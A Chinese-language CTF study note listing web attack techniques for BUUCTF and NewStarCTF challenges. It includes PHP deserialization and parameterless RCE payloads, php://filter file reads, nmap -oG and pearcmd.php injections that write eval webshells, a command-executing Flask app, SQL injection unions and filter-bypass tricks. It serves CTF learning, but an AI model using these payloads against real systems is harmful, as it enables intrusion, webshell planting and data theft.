BUUCTF攻击知识补充-2
目录:
第一部分:
1、
file_get_contents() 、file_put_contents()本身就是PHP函数,它们可以直接运行,不是一定要与eval等函数一起才可以用,但是它自身不带输出功能
若是在用户可以控制执行的函数和测试,类似php中的$a(b)这种,若是它将eval、assert等函数过滤了,可以试试使用 file_get_contents() 读取文件
结合实验理解:
https://zhuanlan.zhihu.com/p/267350655
2、反序列化和命令注入的一种结合考法
当我们可以控制服务器执行的函数和其参数,且又没有其他办法,或思路时;那么可以试试反序列化的办法
使用反序列化函数 unserialize ;然后构造一个序列化字符串作为其参数(前提是源代码中存在一个类)
eg:
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system"}
上传一个反序列化函数,然后构造一个序列化字符串,在这个字符串中有我们真正要执行的函数和参数
参考实验:
https://zhuanlan.zhihu.com/p/267350655
3、Linux的部分命令
system("find / -name flag*"):查找所有文件名匹配flag*的文件(即以flag开头的文件)
system("cat $(find / -name flag*)"):打印所有文件名匹配flag*的文件
4、扫描
扫描时,若用dirsearch扫描不出什么东西,则尝试用GitHack试试
5、无参数RCE
即当我们传入的函数不能有参数时:
scandir() print_r(scandir(xxxxxx)); #表示获取某目录下的文件 localeconv()函数返回一包含本地数字及货币格式信息的数组,其中数组的第一项就是"." current() 返回数组中的当前单元, 默认取第一个值。 file_get_contents() #把整个文件读入一个字符串中; file #把整个文件读入一个数组中; readfile() #读入一个文件并写入到输出缓冲; highlight_file() #对文件进行语法高亮显示; show_source() #对文件进行语法高亮显示; array_reverse() 接受数组 array 作为输入并返回一个单元为相反顺序的新数组。 next()指向数组的下一个元素。 prev() - 将内部指针指向数组中的上一个元素,并输出 current() - 返回数组中的当前元素的值 end() - 将内部指针指向数组中的最后一个元素,并输出 reset() - 将内部指针指向数组中的第一个元素,并输出 each() - 返回当前元素的键名和键值,并将内部指针向前移动 pos() 输出数组中的当前元素的值
可以构造:
?exp=print_r(scandir(current(localeconv()))); //读取当前目录下的文件
?exp=show_source(next(array_reverse(scandir(pos(localeconv()))))); //读取flag
建议参考以下实验:
https://blog.csdn.net/qq_20533167/article/details/116945536
https://www.bilibili.com/read/cv18232136
6、
当我们需要用到的参数,不能直接传入时,可以使用 \S*
\S*表示匹配非空格以外的所有字符 这也我们就能够匹配我们想要的命令执行函数了
?\S*=${getFlag()}&cmd=system('ls /');
${getFlag()}表示我们将代码中原本就有的一个函数作为参数,传入,cmd是该函数的参数
\S*会匹配所有参数
参考:
https://www.bilibili.com/read/cv18271529
https://www.cnblogs.com/hackcaixukun/p/14107758.html
7、php://filter伪协议
1)php://filter伪协议的嵌套
若我们我们要包含的文件是flag,但是我们传入的参数中必须包含index,则可以使用伪协议的嵌套
?category=php://filter/read=convert.base64-encode/index/resource=flag 或者: ?category=php://filter/read=index/convert.base64-encode/resource=flag
原本应该是这样:
?category=php://filter/read=convert.base64-encode/resource=flag
参考实验:
https://www.bilibili.com/read/cv18557399
2)当 php://filter/read=convert.base64-encode/index/resource中的base被拉黑时:
(1)、对base进行url二次编码(也可以只对其中一个怎么进行二次编码,以b为例,%25%36%32是其二次url编码):
php://filter/read=convert.%25%36%32ase64-encode/resource=flag.php
同理:若是其它字符被拉黑,可以类此尝试
(2)、使用: php://filter/read=string.toupper|string.rot13/resource=文件名
得到的结果要用str_rot13()函数解码 (php中的函数)
参考:ctf文件包含+伪协议总结_ctf glob伪协议弄出来全是???-CSDN博客
探索php://filter在实战当中的奇技淫巧 - linuxsec - 博客园 (cnblogs.com)
8、利用版本查找漏洞
当我们尝试了所有能够想到的方法都没用时,可以尝试看能不能找到目标网站的版本信息(或是其框架的版本信息);然后上网查找,看看能不能找到其漏洞及其利用方法
例如:phpmyadmin的一些版本就存在漏洞
9、Unicode编码
字符传入UTF-8编码,在后端处理的过程中,若是发现该UTF-8编码无法解析为ASCII码,则会将其解析为Unicode编码,而Unicode中可以用一个字符,表示其他编码中几个字符才能表示的数字;于是就实现绕过了一个字符的限制,
原理分析:
两个不同编码的Unicode字符可能存在一定的等价性,这种等价是字符或字符序列之间比较弱的等价类型,这些变体形式可能代表在某些字体或语境中存在视觉上或意义上的相似性。
例如baidu.com 和baidu.com 都会被等价为百度的链接(a是拉丁语中的a,和英语中的a具有等价性,只是写法不同,所有会被当作同一个字母处理)
注意:unicode也支持中文,所以中文的亿就等价于数字1000000000.0;万等价于数字的10000.0
参考实验:
https://www.cnblogs.com/upfine/p/16444501.html
https://chowdera.com/2022/01/202201010642297121.html
相关知识参考文章:
https://blog.lyle.ac.cn/2018/10/29/unicode-normalization/
https://xz.aliyun.com/t/5402
Unicode编码网站:
https://www.compart.com/en/unicode/search?q=num#characters(直接进入其数字编码模块)
或是
https://www.compart.com/en/unicode/(主页面)
搜索Unicode编码的地方,在搜索框中输入num,可以看到各种数字的unicode编码,
10、nmap扫描类型的漏洞
若是遇到nmap扫描类型的题,它很可能是因为escapeshellarg()函数和escapeshellcmd()这两个函数混用产生的安全隐患 。
可以利用nmap中 -oG 命令来向其中注入木马
形式:' 木马 -oG 文件名 ' (注意:前后单引号与中间内容隔一个空格)
host=127.0.0.1 ' <?php @eval($_POST["1"]); ?> -oG hasck.phtml ' host=127.0.0.1 | ' <?= @eval($_POST["1"]); ?> -oG 1.phtml ' host=' <?= @eval($_POST["1"]); ?> -oG 2.phtml ' (截图2)
在特定情况下,可以用 <?= ?> 代替 <?php ?>
若是遇到过滤php字符的情况可以试试,注意与过滤 <? 向区分
它会把文件会保存在与当前页面同级的目录下
即:若当前执行命令的页面是 /result.php?f=bd976
则我们保存的文件在 / 目录下(在同一目录下)
若是知道文件位置:
还可以用 -iL和 -oN 读取文件
-iL :
从inputfilename文件中读取扫描的目标。在这个文件中要有一个主机或者网络的列表,由空格键、制表键或者回车键作为分割符。
如果使用-iL-,nmap就会从标准输入stdin读取主机名字。你可以从指定目标一节得到更加详细的信息 -oN :
把扫描结果重定向到一个可读的文件logfilename中。
eg: host=127.0.0.1’ -iL /flag -oN 5.txt ’
然后直接访问 5.txt 文件即可
参考实验:
https://blog.csdn.net/qq_52907838/article/details/119115412
https://www.bilibili.com/read/cv18809872
第二部分
1、
若是页面中,目前提示存在其他页面时,一定要先访问完所有页面,观察其中可能的提示信息或是源代码,在开始着手尝试解决方法。因为可能在你为查看的页面中存在重要的提示信息或是解题的关键信息
2、尽量全面的尝试
当我们在进行命令注入测试时,尽可能地把我们知道的所有命令都试一遍,因为它可能过滤其中一些,却放过一些;例如:可能过滤eval,却放过assert。
但我们在PHP环境的靶机中测试时,若是进行了许多测试,例如使用命令注入尝试读取某些内容,但总是得不到我们想要的,尝试,可以尝试读取phpinfo(),在其中找找,是否存在我们想要的内容
3、SQL注入补充1:
1)gruop by 可以代替 order by
2)若是在注入时:#、--+等注释符被过滤,%23会被直接带入语句查询,而不是先被URL解码,再带入查询;
此时可以使用闭合符号代替注释符:
-1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,'17 (测试是否存在17个字段, ' 是闭合符) <==> -1'union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17#
'17 除了可以代替注释符之外,17还有实际意义,表示第17个字段
要测试的最大字段数的最大值要放在 ' 之后
但注意在group by 或order by 时,略有不同:
-1'group by 23,'5
'5只是代替注释符,5(也可以是其他数字)并没有实际意义
也可以不写 :
-1'group by 23,'
3)若是 information_schema.tables被过滤,则使用无列名注入方式:
Maria数据库的这个表可以查表名:mysql.innodb_table_stats
-1'union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
查表中的数据(其他数据库,若是找到表名也可以用它来查询字段内容)
-1'union select 1,(select group_concat(b) from(select 1,2 as a,3 as b union select * from users)as x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
参考实验:
https://www.cnblogs.com/WeQi-Blog/p/15590001.html
4、布尔盲注:
sql盲注分为 : 布尔盲注、延时注入、报错注入(至于报错注入我也不太确认是否属于盲注,等待以后求证吧)
对于布尔盲注,若是过滤许多东西,但是没有过滤 ^,
则:可以使用异或操作来进行注入:1^1=0,0^0=0,1^0=1。
还可以1^0=1 1^1=0 来判断闭合方式(数字型还是字符型)。因为如果是字符型,不会执行^
?id=1^1 ?id=1^0
观察页面的回显,然后构造 类似 1^payload 或 0^payload ;观察页面回显
参考:
https://www.bilibili.com/read/cv19124782
https://www.cnblogs.com/shenjuxian/p/13976708.html
5、MISC类型之一:
若是遇到题目只有一个word文件,可以试试winhex读取其源代码,若是源代码中发现PK字样,则可以将该文件的后缀改为.zip文件,
然后解压该文件,从中寻找可能存在flag的地址。
参考:NewStarCTF 2023 新建Word文档 - U-L-G-A-N-O-Y - 博客园 (cnblogs.com)
6、BP构造请求绕过限制或条件
当我们对靶机没有办法,却又发现代码中有,满足某一条件后触发post或get请求的代码,即可得到我们想要的结果时,
可以尝试用BP构造相应请求,直接绕过条件,得到结果
参考:NewStarCTF 2023 游戏高手 - U-L-G-A-N-O-Y - 博客园 (cnblogs.com)
7、文件包含时,遇到register_argc_argv是开启状态
当文件包含时,遇到register_argc_argv是开启状态,若是没有其他办法,则可以利用包含pearcmd.php漏洞来解决:
1)、构造
paylod : ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[777])?>+/var/www/html/a.php
最后一个+后面是 路径(一般写web服务器路径,可以尝试执行phpinfo(),找到web路径)/文件名
777可以看做是一个变量,是我们执行命令的变量
2)包含我们创建的文件a.php
3)利用HackBar,勾选POST data ,构造cmd命令,查找flag
777=system("ls /");
参考:浅谈文件包含之包含pearcmd.php漏洞_register_argc_argv文件包含-CSDN博客
LFI TO RCE之pearcmd.php的妙用_Aiwin-Hacker的博客-CSDN博客
8、有关flask开启debug模式的题目
常见模式:有几个链接,每个链接执行不同的页面,其中有一个页面可以上传文件,一个页面需要输入PIN码才能进入;则可能是flask开启了debug模式。
flask开启了debug模式下,app.py源文件被修改后会立刻加载。所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。
例如:
from flask import Flask,request import os app = Flask(__name__) @app.route('/') def index(): try: cmd = request.args.get('cmd') data = os.popen(cmd).read() return data except: pass return "1" if __name__=='__main__': app.run(host='0.0.0.0',port=5000,debug=True)
上传成功后,直接在跟路由命令执行,即直接在原因链接后面 ?cmd=命令
参考链接:
[NewStarCTF 2023] web题解 - overfit.cn
NewStarCTF 2023 公开赛道 WEEK4|WEB flask disk
9、若是无参数RCE过滤了许多东西
<?php highlight_file(__FILE__); if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){ eval($_GET['star']); } }
preg_replace 函数:执行一个正则表达式的搜索和替换,\w表示非单词字符,单词字符包括:a-z、A-Z、0-9,以及下划线,加上取非^就成了匹配所有的单词字符,+表示可以进行多个匹配,还匹配了左括号和右括号 ,((?R)?)是正则表达式的一个递归子模式,将匹配到的东西替换为空,然后判断替换后内容是否等于分号; 再使用preg_match函数进行正则匹配,过滤掉了一些敏感的函数和关键字; 如果满足条件,则会调用eval函数,执行传入的内容。
可以尝试使用以下进行绕过
?star=system(array_rand(array_flip(getallheaders())));
此时,还需要在请求头中随便加入一个键值对,注意,值的部分即是我们想要执行的命令;如 sdv:ls /
还要注意,我们注入的命令时是否执行,是随机的,故而需要多次发包。
参考:
NewStarCTF2023week2-R!!C!!E!!(很细)-CSDN博客
[NewStarCTF 2023] web题解 - overfit.cn (另一种类似的解法)
9、变量覆盖考法之一
extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); }
考察extract函数导致的变量覆盖漏洞,这里的if判断只要保证传入变量flag5即可,根据上面的正则限制,变量值不能为字母和数字,那么传入一个任意符号即可通过本层。
例如: flag5=@
参考:
NewStarCTF 2023 Week1 官方WriteUp (shimo.im) 中的 Begin of PHP
10、url编码异或、取反绕过
if(preg_match("/[A-Za-z0-9]+/",$code)){ die("NO.");
若是如同上述代码;我们上传的payload中不能含有大小写字母和数字,则可以尝试通过url编码异或、取反来进行绕过
以PHP中的URL编码取反为例:
<?php $a='phpinfo'; $b=urlencode(~$a); echo $b; ?>
结果: %8F%97%8F%96%91%99%90
在注入时需要在前面加一个 ~ ;
例如: phpinfo(); --> (~%8F%97%8F%96%91%99%90)();
参考:
BUUCTF:[极客大挑战 2019]RCE ME ——两种方法_hcjtn的博客-CSDN博客
11、绕过preg_match函数
因为preg_match
只能匹配第一行,所以我们可以尝试采用多行绕过:
例如,我们输入的 ls / 命令会被 preg_match 匹配,
我们可以尝试这样绕过:
换行
ls /
换行
==》 %0A ls / %0A #%0A是换行符的URL编码
参考: